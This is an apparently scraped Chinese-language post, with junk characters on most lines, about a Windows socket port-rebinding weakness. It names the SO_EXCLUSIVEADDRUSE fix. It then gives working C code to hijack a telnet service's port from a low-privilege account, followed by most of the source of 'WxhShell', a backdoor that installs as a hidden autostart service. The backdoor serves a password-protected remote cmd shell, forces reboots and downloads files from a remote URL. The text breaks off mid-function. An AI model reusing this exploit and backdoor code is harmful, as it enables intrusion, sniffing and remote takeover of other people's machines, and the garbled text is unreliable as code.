在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
K?wo AuY s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:as2fO$? #w[Ie+ saddr.sin_family = AF_INET;
!"^//2N+, _'r&'s;<z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
grCz@i 2)`4(38 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@}e5T/{X}T -[lOf 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
6[%4Q[ ADZU?7) 这意味着什么?意味着可以进行如下的攻击:
7OZjLD{ID XuW>GT/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
rcMSso2 [)p>pA2GZj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
G
Y ]bw &14Er,K 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
uHO>FM, 6SD9lgF*- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
t'Pn* $~.'Tnk) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}Ias7d?re I.}E#f/A' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
~@Eu4ip)F Zut"P3d=J 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
|`6*~ciUV QPpC_pZh #include
w57D qG> #include
_ye74$# #include
z0-`D.D@\ #include
%FO#j 6 DWORD WINAPI ClientThread(LPVOID lpParam);
9TbRrS09 int main()
qUtlh,4) {
-|A`+1-R+ WORD wVersionRequested;
3rw<#t;v DWORD ret;
=?gB@vS WSADATA wsaData;
5QUL-*t BOOL val;
a@V`EEZ SOCKADDR_IN saddr;
$Q< >MB7 SOCKADDR_IN scaddr;
i"o
%Gc int err;
KI{B<S3*Z SOCKET s;
aqzIMOAf SOCKET sc;
;/g Bjp]H int caddsize;
a$ FO5%o HANDLE mt;
{]6Pd`- DWORD tid;
/KH,11)yc wVersionRequested = MAKEWORD( 2, 2 );
},LO]N| err = WSAStartup( wVersionRequested, &wsaData );
8C>\!lW" if ( err != 0 ) {
Dm0Ts~ printf("error!WSAStartup failed!\n");
(^).$g5Hg return -1;
m3i+b }
;HbAk`\1A saddr.sin_family = AF_INET;
zBTyRL
l TO~Z6NA0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
R-V4Ju[: w5uOkz # saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
j!<(` saddr.sin_port = htons(23);
Gm2q`ki if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=9AX\2w*H; {
+ =N#6#1 printf("error!socket failed!\n");
hFp\,QSx
return -1;
HXp$\%A) }
85GU~. val = TRUE;
\T]'d@Wyd //SO_REUSEADDR选项就是可以实现端口重绑定的
yz7X7mAo if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
tlJ@@v&= {
hiQ #< printf("error!setsockopt failed!\n");
6A9
r{'1 return -1;
_8I\! }
Qt`;+N( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
VW/ICX~"d //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Q^k\q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+zf[Im%E A4>j4\A[M if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/_l$h_{DH {
dFVx*{6 ret=GetLastError();
Cl>{vSN printf("error!bind failed!\n");
$WS?/H0C return -1;
o/~Rf1 }
jC}2>_#m( listen(s,2);
=)mA.j}E2 while(1)
Qf#=Y j {
(@&+?A"6` caddsize = sizeof(scaddr);
cWS 0B $$ //接受连接请求
ly~tB LH} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_ ,~D]JYE if(sc!=INVALID_SOCKET)
> t~2 {
:.bBV]6q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
0 F-db if(mt==NULL)
.:/[%q{k {
I92orr1 printf("Thread Creat Failed!\n");
3s
B9t X break;
fIwG9cR }
(R|Ftjs . }
p%ZOLoc)Y CloseHandle(mt);
&\>. j| }
J-d>#'Wb| closesocket(s);
@b{I0+li"/ WSACleanup();
Mv\]uAT` return 0;
fZka$
4 }
P?/Mrz DWORD WINAPI ClientThread(LPVOID lpParam)
(F=q/lK$ {
@T@lHc SOCKET ss = (SOCKET)lpParam;
G{]tB w SOCKET sc;
%D6HY^]ayw unsigned char buf[4096];
WinwPn+9 SOCKADDR_IN saddr;
n&\DJzW\# long num;
={[9kR i DWORD val;
nv'YtmR DWORD ret;
S\<nCkE^ //如果是隐藏端口应用的话,可以在此处加一些判断
teX)!N [ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
fb|%)A= saddr.sin_family = AF_INET;
.{,fb saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
m4x8W2q saddr.sin_port = htons(23);
WlW7b.2. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`RHhc{ {
A3eus printf("error!socket failed!\n");
Scd_tw.]| return -1;
MN<uIqG }
7&w$@zs87 val = 100;
P={8qln,X if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ul^VGW>i {
IrMxdF~c ret = GetLastError();
n@_aTY return -1;
*|Bt! }
P&sYS<9q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Bv{DZ?{s {
gn)>(MG ret = GetLastError();
R
q9(<'F return -1;
h[i@c`3/2 }
we&D"V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
O)%s_/UX {
^{g('BQx printf("error!socket connect failed!\n");
hQ\W~3S55 closesocket(sc);
*IQQsfL) closesocket(ss);
z$Z{ LR
return -1;
i{biQ|,.sL }
'mYUAVmSC# while(1)
)QAS 7w#k {
<~}NxY\5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
{66P-4Ev( //如果是嗅探内容的话,可以再此处进行内容分析和记录
|"aop| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
S+7u,%n/ num = recv(ss,buf,4096,0);
b*TQKYT if(num>0)
:CGh$d] + send(sc,buf,num,0);
Wxa</n8S[n else if(num==0)
H: ]'r5sw break;
'#NDR:J" num = recv(sc,buf,4096,0);
5bo')^xa if(num>0)
ukc<yc].+? send(ss,buf,num,0);
w`X0^<Fv else if(num==0)
P2g}G4qf break;
tJII-\3" }
Dio)orc closesocket(ss);
9s&dN closesocket(sc);
d8J(~$tXQN return 0 ;
{4>N2mP{M }
;(
[^+_/ bkS-[rW (y5]]l ==========================================================
|-`-zo4z W%@0Y m`7 下边附上一个代码,,WXhSHELL
\pVNJy$`< Jvr`9<` ==========================================================
>l^[73,]L |h-e+Wh1 #include "stdafx.h"
'Esz#@R #L+ZHs~ #include <stdio.h>
$fAZ^ #include <string.h>
A`nzqe#(1 #include <windows.h>
]ASTw(4 #include <winsock2.h>
4P?R "Lk #include <winsvc.h>
< Y)A ez #include <urlmon.h>
0?*":o30 o#hFK'&~ #pragma comment (lib, "Ws2_32.lib")
D-Q54 "^3 #pragma comment (lib, "urlmon.lib")
;N^4R$Q. jE!?;} P1 #define MAX_USER 100 // 最大客户端连接数
}BAe
#define BUF_SOCK 200 // sock buffer
#{5h6IC #define KEY_BUFF 255 // 输入 buffer
"10.,QK tN0? #define REBOOT 0 // 重启
AQD`cG #define SHUTDOWN 1 // 关机
KqvM5$3 KJW^pAj$B #define DEF_PORT 5000 // 监听端口
z6Zd/mt~x jH[{V[<#X #define REG_LEN 16 // 注册表键长度
d RHw]!. #define SVC_LEN 80 // NT服务名长度
`=E4J2" zU";\); // 从dll定义API
q OV$4[r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
&IP`j~b typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
wDKA1i%G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
E&0]s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ggUw4w/e 9>ML;$T& // wxhshell配置信息
,e{1l struct WSCFG {
,"Nb;Yhg int ws_port; // 监听端口
gH/(4h char ws_passstr[REG_LEN]; // 口令
+<'>~lDg int ws_autoins; // 安装标记, 1=yes 0=no
YbJB.;qK char ws_regname[REG_LEN]; // 注册表键名
Q#pgl char ws_svcname[REG_LEN]; // 服务名
ZmS
]4WM< char ws_svcdisp[SVC_LEN]; // 服务显示名
UVD*GsBk char ws_svcdesc[SVC_LEN]; // 服务描述信息
u(~( +1W char ws_passmsg[SVC_LEN]; // 密码输入提示信息
; Z2 int ws_downexe; // 下载执行标记, 1=yes 0=no
M-A{{q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
})C}'!+] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
QLb!e"C *a' I };
/\m>PcPa UxvT|~" // default Wxhshell configuration
\xX'SB#.l struct WSCFG wscfg={DEF_PORT,
e\! ic "xuhuanlingzhe",
\;0UP+ 1,
|fPR7- "Wxhshell",
07>Iq8<mu "Wxhshell",
G3gEL)b* "WxhShell Service",
I]Vkaf I>( "Wrsky Windows CmdShell Service",
^"+Vx9H"{ "Please Input Your Password: ",
B1o*phM
g 1,
4d%QJ7y "
http://www.wrsky.com/wxhshell.exe",
Q\aC:68 "Wxhshell.exe"
w5q'M };
[ N0"mE< QoS]QY'bZ // 消息定义模块
gCaxZ~o char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
?;DzWCL~9 char *msg_ws_prompt="\n\r? for help\n\r#>";
BCt>P?,UO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
M+WN \.2pX char *msg_ws_ext="\n\rExit.";
oI x!?,1 char *msg_ws_end="\n\rQuit.";
d>Ky(wS char *msg_ws_boot="\n\rReboot...";
T<U_Iq char *msg_ws_poff="\n\rShutdown...";
d8VFa'| char *msg_ws_down="\n\rSave to ";
Oox,4& URMxCL^" char *msg_ws_err="\n\rErr!";
[ip}f4K char *msg_ws_ok="\n\rOK!";
MG4(,"c! _nec6=S6( char ExeFile[MAX_PATH];
Go PK. E$ int nUser = 0;
BHDd^bd HANDLE handles[MAX_USER];
<'vtnz int OsIsNt;
g]U!] r-5xo.J' SERVICE_STATUS serviceStatus;
cL:hjr" SERVICE_STATUS_HANDLE hServiceStatusHandle;
EkEQFd 5g hc]5f3Z // 函数声明
TlJ'pG 4^ int Install(void);
D"X`qF6U7 int Uninstall(void);
VX e7b int DownloadFile(char *sURL, SOCKET wsh);
eI+p int Boot(int flag);
7
'{wl,u void HideProc(void);
9Nu:{_YoP int GetOsVer(void);
p0C|ECH int Wxhshell(SOCKET wsl);
1p(9hVA void TalkWithClient(void *cs);
X,`e1nsR int CmdShell(SOCKET sock);
=p&uQ6.i+ int StartFromService(void);
K(Ak+&[ int StartWxhshell(LPSTR lpCmdLine);
4?l:.\fB: ,zh4oX`> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
pGsu#`t VOID WINAPI NTServiceHandler( DWORD fdwControl );
t8t+wi! mxl"Y&l2< // 数据结构和表定义
r8Z}
mvLM SERVICE_TABLE_ENTRY DispatchTable[] =
YBQ{/"v%| {
]Yt,|CPe2 {wscfg.ws_svcname, NTServiceMain},
cB}6{c$_sW {NULL, NULL}
7DIFJJE' };
m]/sR3yF -qJO6OM // 自我安装
I=&Kn@^ int Install(void)
B q7Qbj {
lM[FT=M char svExeFile[MAX_PATH];
DQ= /Jr~ HKEY key;
P
yN{ strcpy(svExeFile,ExeFile);
~ P!%i9e_ B#[.c$ // 如果是win9x系统,修改注册表设为自启动
O8 5) ^ if(!OsIsNt) {
@+!u{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
N
m@UM*D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<>fT_ RegCloseKey(key);
a f UOIM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Mtq^6`JJ' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
tQcn%CK RegCloseKey(key);
] F2{:RW return 0;
^"EK:|Y4%K }
oPR?Ar }
p/'09FY+ U }
=\i{dj else {
]BY<D`$$P }Z8DVTpX} // 如果是NT以上系统,安装为系统服务
;7N~d TBQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
GaLQ/V2R if (schSCManager!=0)
Un\
T}
c {
9AHxa SC_HANDLE schService = CreateService
6}GcMhU<r (
tz/NR/[ schSCManager,
3}2a3) wscfg.ws_svcname,
+X!QH/ 8 wscfg.ws_svcdisp,
4,?ZNyl SERVICE_ALL_ACCESS,
]?(_}""1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
lH%-#2] SERVICE_AUTO_START,
-*~~00w SERVICE_ERROR_NORMAL,
4pZ=CB+j svExeFile,
*/A ~lR| NULL,
lW3wmSWn% NULL,
&T\,kq>) NULL,
7r wNjY# NULL,
P2sM3C NULL
: 5<u!-}
);
5FwVR3, if (schService!=0)
><"0GPxrx {
|J^$3RX CloseServiceHandle(schService);
SX@zDuM CloseServiceHandle(schSCManager);
Ygfv? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
b]@@x;v$@ strcat(svExeFile,wscfg.ws_svcname);
`nEe-w^9)I if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Eg 8rgiU RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
[?nM)4d RegCloseKey(key);
sL\W6ej return 0;
w}r~Wk^dLI }
nbdjk1E`~ }
6tv-PgZ CloseServiceHandle(schSCManager);
pDM95.6 }
FFpG>+*3 }
KIYs[0*k o6A1;e return 1;
R/?ZbMn]! }
4$_:a?9 eD?f|bif // 自我卸载
\cW9"e' int Uninstall(void)
ZOY zCc(d {
L1YiXJ,T, HKEY key;
y$U(oIU> vbSycZ2M7 if(!OsIsNt) {
)l[bu6bM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
G'f5MP1 RegDeleteValue(key,wscfg.ws_regname);
>
,;<Bz|X RegCloseKey(key);
!FHm.E_> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u @#fOu RegDeleteValue(key,wscfg.ws_regname);
C5x*t Q| RegCloseKey(key);
>S'IrnH'! return 0;
']DUCu }
p^*A&7d:P }
6gTc)rhRT }
$ uqB.f$ else {
aKC,{}f$m {W$K@vuV;? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
<db>~@;X! if (schSCManager!=0)
@23~)uiZa {
= ow=3Ku SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
e]-%P(}Z if (schService!=0)
!8OgaMngzF {
G-eSHv if(DeleteService(schService)!=0) {
"r[Ob]/ CloseServiceHandle(schService);
tZan1C%p> CloseServiceHandle(schSCManager);
e"&QQ-q return 0;
6o<(,\ad[ }
5%RiM|+ CloseServiceHandle(schService);
:s>x~t8g#n }
D-4{9[ CloseServiceHandle(schSCManager);
d;.H9Ne }
a6!|#rt }
4Be\5Byr -rlCE-S return 1;
-mw`f)?Ev }
v W4n>h}] _)[UartKx // 从指定url下载文件
k8 z1AP int DownloadFile(char *sURL, SOCKET wsh)
45;ey }8 {
t ^~Qv HRESULT hr;
uF+0nv+ char seps[]= "/";
'
r/xBj[Z char *token;
9J$-E4G.M char *file;
sW@_' Lw char myURL[MAX_PATH];
%S/?Ci char myFILE[MAX_PATH];
ym_p49 L}6!D zl strcpy(myURL,sURL);
oS^KC}X token=strtok(myURL,seps);
^09-SUl^ while(token!=NULL)
^@^K
<SVc {
xJ9aFpTC file=token;
t~|J2*9l token=strtok(NULL,seps);
iFnD`l6) }
.FG%QF F~ yxAy1P;dX GetCurrentDirectory(MAX_PATH,myFILE);
qP]1}- strcat(myFILE, "\\");
e,
fZ>EJ strcat(myFILE, file);
)Z)Gb~G send(wsh,myFILE,strlen(myFILE),0);
0o!mlaU# send(wsh,"...",3,0);
Whe-()pG{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
gloJ;dEB if(hr==S_OK)
KwU;+=_. return 0;
inh
J|pe" else
%OOkPda return 1;
8OiCldw:HN Zz"8 }
)qe
rA $ ^@fV=e // 系统电源模块
E^A S65%bL int Boot(int flag)
zwz_K!229 {
zK&1ti@wln HANDLE hToken;
F?[1m2 TOKEN_PRIVILEGES tkp;
'6;
{DX V>/,&~0 if(OsIsNt) {
-K3d u&j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Jy\0y[f* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
I]hjv tkp.PrivilegeCount = 1;
*jvP4Nz)k tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
2vh }:A_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)K$YL='kX if(flag==REBOOT) {
rVP{ ^Jdo if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
,J,Rup">h return 0;
1\~I "$} }
>]8(3&zd else {
6~Dyr82"B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
d%. |MAE return 0;
6VVxpDAi: }
qoOwR[NDcq }
$v # else {
4wkv#vi7!- if(flag==REBOOT) {
qS9<_if2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
4\5i}MIS0 return 0;
/_})7I52 }
[NAfy~X* else {
qajZ~oB{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Hqs!L`oW) return 0;
@&Z^WN,x }
,
^K.J29 }
A]TEs)#*7) g'b|[ q return 1;
KE ?NQMU }
>$TvCw )obgEJ7Y`l // win9x进程隐藏模块
'(rD8 pc void HideProc(void)
3]GMQA{L) {
5a'`%b{{ Y!_{:2H8p HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
8toOdh if ( hKernel != NULL )
z=) m6\ {
m$=}nI(H pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
2.I|8d[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
,}&TZkN{- FreeLibrary(hKernel);
bXvO+I< }
`BK b60 nH&z4-1Y? return;
*U,JQ }
Vj 9X6u}{ Te
L&6F$ // 获取操作系统版本
fs 2MYat int GetOsVer(void)
[U/h'A.j {
:>JfBJ]| OSVERSIONINFO winfo;
RSh_~qMX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
\?
)S{ GetVersionEx(&winfo);
hdCd:6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,wes* return 1;
Jh 0Grq else
84.L1|k return 0;
-yBKA]"<I }
E&zf<Y F0p=|W // 客户端句柄模块
OU/}cu int Wxhshell(SOCKET wsl)
=~h b& {
dh7`eAMY SOCKET wsh;
(O4oIU struct sockaddr_in client;
(g@\QdH`| DWORD myID;
`
= O u6Gqg(7hw while(nUser<MAX_USER)
wDh]vH[ {
iW(LD1~7 int nSize=sizeof(client);
}+n|0xK wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
d<7b<f"~ if(wsh==INVALID_SOCKET) return 1;
ZI!: ]"Uzn handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
cl4z%qv* if(handles[nUser]==0)
I U" closesocket(wsh);
B4RrUA32 else
8C@u+tx nUser++;
c%/b*nQ(= }
+Pb:<WT}% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
/S"jO[n9b "u7[[.P) return 0;
PiKP. }
#j~FlY5 Pl/ dUt_ // 关闭 socket
uL/wV~g void CloseIt(SOCKET wsh)
'_G\_h}5 {
!6'N-b1 closesocket(wsh);
4n1g4c-
nUser--;
CVa>5vt ExitThread(0);
a{T.U-0
}
~gd#cL% am]M2+,2Ip // 客户端请求句柄
(p%|F` void TalkWithClient(void *cs)
,XO@ZBOM {
gQ{ #C' x8rg/y SOCKET wsh=(SOCKET)cs;
B[@q.n char pwd[SVC_LEN];
?z9!=A%<V~ char cmd[KEY_BUFF];
c9-$^yno char chr[1];
|X8?B= int i,j;
cpjwc@UMe jjV'`Vy) while (nUser < MAX_USER) {
X
61|:E fIoc)T if(wscfg.ws_passstr) {
O% T?+1E if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!Ap5Uwd //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<t"T'\3 //ZeroMemory(pwd,KEY_BUFF);
GGuU(sL* i=0;
0P5VbDv$r7 while(i<SVC_LEN) {
4?+K
` Czjb.c:a.Y // 设置超时
z{L'7 fd_set FdRead;
&THtQ1D struct timeval TimeOut;
`MI;.t FD_ZERO(&FdRead);
05LkLB FD_SET(wsh,&FdRead);
`yv?PlKL TimeOut.tv_sec=8;
~b~Tq TimeOut.tv_usec=0;
t<8)h8eW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
J 4gtm"2) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
I8gNg
Z 64?HqO
6( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
k9x[(
# pwd
=chr[0]; _c>ww<*3
if(chr[0]==0xd || chr[0]==0xa) { E5^\]`9P
pwd=0; C .S BJ
break; @Y/&qpo$#W
} xT+_JT65
i++; ni ?k' \\
} \AwkK3
unFRfec{
// 如果是非法用户,关闭 socket ;TJpD0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UOZ+&DL,L
} \t!~s^ Oox
vu+g65"
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x &R9m,
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v?VDASR2`
Ar!0GwE+
while(1) { ,4Q4{Tx
Yg8*)u0
ZeroMemory(cmd,KEY_BUFF); c~vhkRA
<<0sv9qw1
// 自动支持客户端 telnet标准 `<nxXsLe
j=0; *tUOTA 3L
while(j<KEY_BUFF) { V?M(exN
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p]mN)
cmd[j]=chr[0]; Y%?S:&GH
if(chr[0]==0xa || chr[0]==0xd) { Vc9rc}
cmd[j]=0; "-=fi
'D
break; VM%g QOo<
} \U$:/#1Oe
j++; fbh,V%t7
} %R>n5m
8* A%k1+
// 下载文件 +*8su5:[&@
if(strstr(cmd,"http://")) { :K6JrS
send(wsh,msg_ws_down,strlen(msg_ws_down),0); OyO]; Yk
if(DownloadFile(cmd,wsh)) xh2r?K@k>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +4:eb)e
else E]'
f&0s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hVF^"$
} I!L J&>
else { ?0; 2ct
IAQ<|3Q
switch(cmd[0]) { )95k3xo
_Ay^v#a
// 帮助 2fTuIS<yr
case '?': { NA0nF8ek
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PZ|I3z
break; (p5q MP]L
} xE8?%N U
// 安装 %>&ex0j]
case 'i': { &x1A{j_
if(Install()) c]{}|2u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h^ Cm\V
else \ivxi<SR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T_S3_-|{==
break; q@wD@_
} O.+J%],
// 卸载 ye.6tlW
case 'r': { \8xSfe
if(Uninstall()) K;6#v%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \x-2qlZ
else [\W&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A;L
]=J
break; A^,E~Z!x
} @mCe{r*`
// 显示 wxhshell 所在路径 }? _KZ)
case 'p': { RxqNgun@
char svExeFile[MAX_PATH]; m+!.H\
strcpy(svExeFile,"\n\r"); 8H4NNj Oy
strcat(svExeFile,ExeFile); ;y,g%uqE
send(wsh,svExeFile,strlen(svExeFile),0); v/ N[)<
break; |N`0G.#
} qj;i03 +@
// 重启 yn\c;Z
case 'b': { K[icVT2v~
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); He=C\"
if(Boot(REBOOT)) *F1TZ_GS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j{Px}f(=
else { 1gV?}'jq
closesocket(wsh); sMMOZ'bT
ExitThread(0); 2OJlE)
.
} @/^<9
break; b#?sx"z
} ~-k,$J?7
// 关机 nriSVGi
case 'd': { ~2k.x*$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :f[ w
if(Boot(SHUTDOWN)) ]jD\4\M}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cjL)M=pIS
else { L(yUS)O
closesocket(wsh); _ \4#I(
ExitThread(0); B<I(t"s
} W+a/>U
break; Zp/+F(
} +A?P 4}
// 获取shell LVg#E*J
case 's': { H[hJUR+#
CmdShell(wsh); ?7Cm+J
closesocket(wsh); *1EmK.-'u
ExitThread(0); |^-D&C(Eu
break; !-`L1D_hy
} |Lg2;P7\
// 退出 WkiT,(i
case 'x': { ntH`\ )xi
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]6M<c[H>
CloseIt(wsh); ~qqxHymc
break; dI\_I]
} >s5}pkAv|e
// 离开 RK.lzVaY
case 'q': { YA
pC|R,^
send(wsh,msg_ws_end,strlen(msg_ws_end),0); fJ8>nOh
closesocket(wsh); D\5+2 G
WSACleanup(); ;+\h$
exit(1); E "=4(
break; KyrZ&E.`
} </;e$fh`
} ke2dQ^kc4
} >0@w"aKn
8;pY-j
#
// 提示信息 .bY>++CAPA
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =l:V9u-I^
} 8|@) #:
} ^S`hKv&87
*jhgCm
return; w\i]z1
} >rlUV"8jY;
((`\i=-o5
// shell模块句柄 iA{q$>{8
int CmdShell(SOCKET sock) ez32k[eV!
{ m4~
|z
STARTUPINFO si; ]*=!lfrV
ZeroMemory(&si,sizeof(si)); p^ (Z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G~y:ZEnN[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rw
`ezC#
PROCESS_INFORMATION ProcessInfo; lha;|
char cmdline[]="cmd"; ,EHLW4v
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IT:WiMDQ}
return 0; xGyl7$J
} Psf'^42(v
:q3w;B~
// 自身启动模式 ^f>c_[fR
int StartFromService(void) FR6 W-L
{ &-FG}|*4M
typedef struct 8nBYP+t,e
{ A-L1vu;
DWORD ExitStatus; yKUxjb^b\
DWORD PebBaseAddress; @+t|Aa^g
DWORD AffinityMask; :%9R&p:'ar
